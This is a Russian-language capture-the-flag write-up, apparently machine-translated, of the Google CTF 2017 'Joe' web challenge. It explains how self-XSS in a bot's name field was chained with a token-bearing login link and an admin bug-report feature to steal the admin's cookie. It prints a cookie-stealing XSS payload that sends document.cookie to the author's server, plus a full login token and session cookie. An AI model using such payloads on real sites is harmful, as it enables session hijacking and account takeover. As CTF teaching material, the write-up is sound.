Я принимал участие в отборочных турнирах Google 2017 Capture The Flag и в этом году мне посчастливилось стать частью команды Hackmethod. Этот тип Capture the Flags не является частью вашей типичной игры-стрелялки или пейнтбольного матча, но включает в себя группу задач, в которых отдельные лица или команды сражаются за рейтинги, используя преимущества различных методологий взлома, реверс-инжиниринга, знаний в области криптографии и иногда даже играть в реальном сценарии атаки-защиты систем.

Итак, имея опыт работы с веб-приложениями, я решил взглянуть на задачи, которые мне предложил Google, 6 часов на задачу и до сих пор ничего, и на удивление не так много людей решили задачи, однако администраторы объявили, что «Джо ” снова был в сети, и поэтому я решил попробовать его. Первым недостатком, который я обнаружил в течение нескольких минут после доступа к веб-сайту, был self-xss в параметре имени имени бота.

XSS — это уязвимость в веб-приложениях, которая позволяет злоумышленнику выполнить свой собственный код javascript, который может быть или не быть вредоносным в браузере другого человека, self-xss — это форма XSS, в которой полезная нагрузка (выполняемая команда) требует взаимодействия с пользователем. для выполнения эта уязвимость не имеет большого значения в чистом виде, если только вы не решите связать ее с другой ошибкой.

Это означало, что я мог выполнить свой собственный специально созданный код javascript для человека, который просматривал бота с моей конфигурацией.

Итак, вот как выглядел XSS на вызове Джо от Google.

Что ж, этого было недостаточно, мне еще нужно было получить доступ администратора, чтобы я мог получить флаг, я провел следующие пару минут, просто изучая приложение и делая заметки.

Если мы внимательно посмотрим на подсказку, которую дает нам Google:

«украсть куки администратора»

Этого было достаточно для того, чтобы начать. Уязвимости XSS печально известны тем, что могут красть файлы cookie, что приводит к захвату сеансов, что, в свою очередь, приводит к захвату учетных записей.

Еще не голодны? Не те печеньки.

Файлы cookie — это часть информации, хранящаяся и используемая веб-браузером для более быстрого просмотра, это лучший друг хакеров, потому что они в основном используются для хранения данных пользователя, поэтому при следующем посещении приложения ему не требуется аутентификация. .

Таким образом, ясно, что мы должны «украсть» файлы cookie, а не изменять предоставленный нам файл (я уже несколько раз пытался его декодировать и играть с разными строками безрезультатно), и мы собираемся использовать XSS для этого (я был почти уверен, что уязвимость XSS не просто сидит там без цели).

На практике мы настроили бы веб-сервер со скриптом для кражи файлов cookie и таким образом захватили бы файлы cookie, уязвимость XSS поможет нам в этом.

Давайте развеем ваши сомнения, прежде чем мы продолжим.

Файлы cookie не пересекаются между доменами, мы не можем просто настроить скрипт на нашем сайте и ожидать, что он будет регистрировать файл cookie администратора, когда он посещает эту страницу, потому что этот файл cookie соответствует другому сайту, здесь в дело вступает XSS.

С небольшим кодированием у нас есть этот скрипт, готовый украсть некоторые файлы cookie через XSS (помните, взлом — это не кодирование, а взлом кода, поэтому вместо того, чтобы сосредоточиться на том, как мы его кодируем, мы должны сосредоточиться на методологии приложения). )

<img src=x onerror=this.src='http://myserver/?c='+document.cookie>

Как мы можем заставить администратора действительно выполнить это?

Давайте сделаем несколько заметок, которые я сделал при обзоре приложения:

Поток входа на веб-сайт имеет интересный URL-адрес:

«https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6ImY3ZDRlODdjN2I2NmVjZjMzMmYwNjBhOTdhNTlkMzE0OWM2YmY3MzUifQ.eyJhenAiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJhdWQiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJzdWIiOiIxMTczNjg5NzEwOTIyNzU1NjA1MDkiLCJhdF9oYXNoIjoiWnBVTXdYRTdySFVzcGtvUUx4dldUZyIsImlzcyI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbSIsImlhdCI6MTQ5NzgzMzk1NCwiZXhwIjoxNDk3ODM3NTU0LCJuYW1lIjoiVmlzaHdhIEl5ZXIiLCJwaWN0dXJlIjoiaHR0cHM6Ly9saDYuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1DeERIUlFPa2VScy9BQUFBQUFBQUFBSS9BQUFBQUFBQUFBQS9BQXlZQkY0MzB0OWZkS081Um9QZExEZFV3MlRzUTVGakpBL3M5Ni1jL3Bob3RvLmpwZyIsImdpdmVuX25hbWUiOiJWaXNod2EiLCJmYW1pbHlfbmFtZSI6Ikl5ZXIiLCJsb2NhbGUiOiJlbiJ9.B9P8UU01NO1bboQ9QMAPQ1tqGZjRvjy9psXNjqngia93JPTAtu1tT_Pq8-QwRIxgT7PZOm_kNC6jlrPevGybB9oHGwoqFqnNctfF4t-hDlky8OBb0KUQA1I6xqNniCA-pdXsmg6rCaj34LX6dPw9CcrTC7W4GRIlnO9KZD4BzCiQNUBZTCTUy dwvkkBhrBOdzFOxMucjmTTdioIwaUorMyKTAqt1rXHJAioNEy0KjI87wuPOw2q24l1a-MZSlln7SK-QWyeBZU9s0mJtnXaOPzyJad-rat0MOLKAE1VvqLzH2oTyBOhC-Pir1HVdK_rA7EBerkcqYpGvc

Не очень приятно для глаз, не так ли?

По сути, эта ссылка представляет собой ссылку, по которой любой пользователь, открывающий ее, будет входить в нашу учетную запись без какой-либо аутентификации.

Теперь давайте соберемся, мы нашли уязвимость XSS, хранящуюся в параметре имени. Что ж, этот параметр имени хранится в сеансе нашей учетной записи, и когда кто-либо открывает нашу учетную запись, код должен выполняться, имеет ли смысл?

Мы можем использовать эту ссылку для выполнения XSS и получения файла cookie! все, что нам нужно сделать, это установить имя бота на нашу полезную нагрузку xss для кражи файлов cookie и отправить эту ссылку администратору.

Подожди.

Как мы можем отправить его администратору?

Ну, вот где надлежащая инспекция или разведка, как мы это называем, пригодится, если мы посмотрим на заметки, которые я сделал при осмотре места:

Мы можем отправить администратору ссылку по нашему выбору, чтобы сообщить об ошибках на сайте (еще одна уязвимость, мы можем отправить любую ссылку, и администратор откроет ее без какой-либо песочницы)

Что ж, когда я первоначально использовал приложение, я просто отправил вредоносную ссылку с хуком для говядины администратору (ссылка, которая позволит нам захватить браузер администратора), а затем получил его файлы cookie, но у меня были проблемы с делая сеанс постоянным, поскольку ссылка была закрыта после ее загрузки, я знаю, что вызов можно вывести таким образом, но у меня действительно не было достаточно времени для расследования.

Возвращаясь к нашим выводам, все, что нам нужно сделать сейчас, это отправить ссылку с нашим ID-токеном администратору, и когда он откроет ее, у нас будет файл cookie с установленным параметром «FLAG»!

Так что пока я был весь накачан и почти близок к тому, чтобы получить флаг, что веб-интерфейс говорит нам, что ссылка слишком длинная.

Туше, Гугл.

Однако не беспокойтесь, мы можем просто обойти это, сократив этот URL-адрес, я сделал это с помощью bit.ly и отправил ссылку (здесь мы используем еще одну ошибку, которую мы можем отправить администратору, и он откроет ее без любая песочница), и я отправил ссылку, укоротив ее

После того, как я взглянул на свои журналы сценариев для кражи файлов cookie, я наконец нашел файл cookie, и в нем явно был виден флаг!

flag=CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}; session="eyJ1c2VyX25hbWUiOiJWaXNod2EiLCJ1c2VyX2lkIjoiMTE3MzY4OTcxMDkyMjc1NTYwNTA5IiwidGFsa19zdGF0ZSI6MH0\075|1497831329|d3d9fa79190d5c4710ca86f6a7693ee0afbb22dd"

Бум, идет Джо. Спасибо монстру печенья за то, что он помог нам украсть печенье.

TL;DR — технический

Цепочка нескольких уязвимостей в веб-приложении, некоторые из которых были слепым XSS, и утечка токена идентификатора сеанса пользователя в URL-адресе помогли нам создать полезную нагрузку XSS, помогающую нам украсть файл cookie администратора, заставив его перейти по ссылке в который наш токен сеанса раскрывается с помощью функции «сообщить об ошибке» (которая принимала любой URL-адрес независимо от домена и открывала его без песочницы), что привело к тому, что мы успешно украли файл cookie администратора, в котором был жестко запрограммирован «FLAG».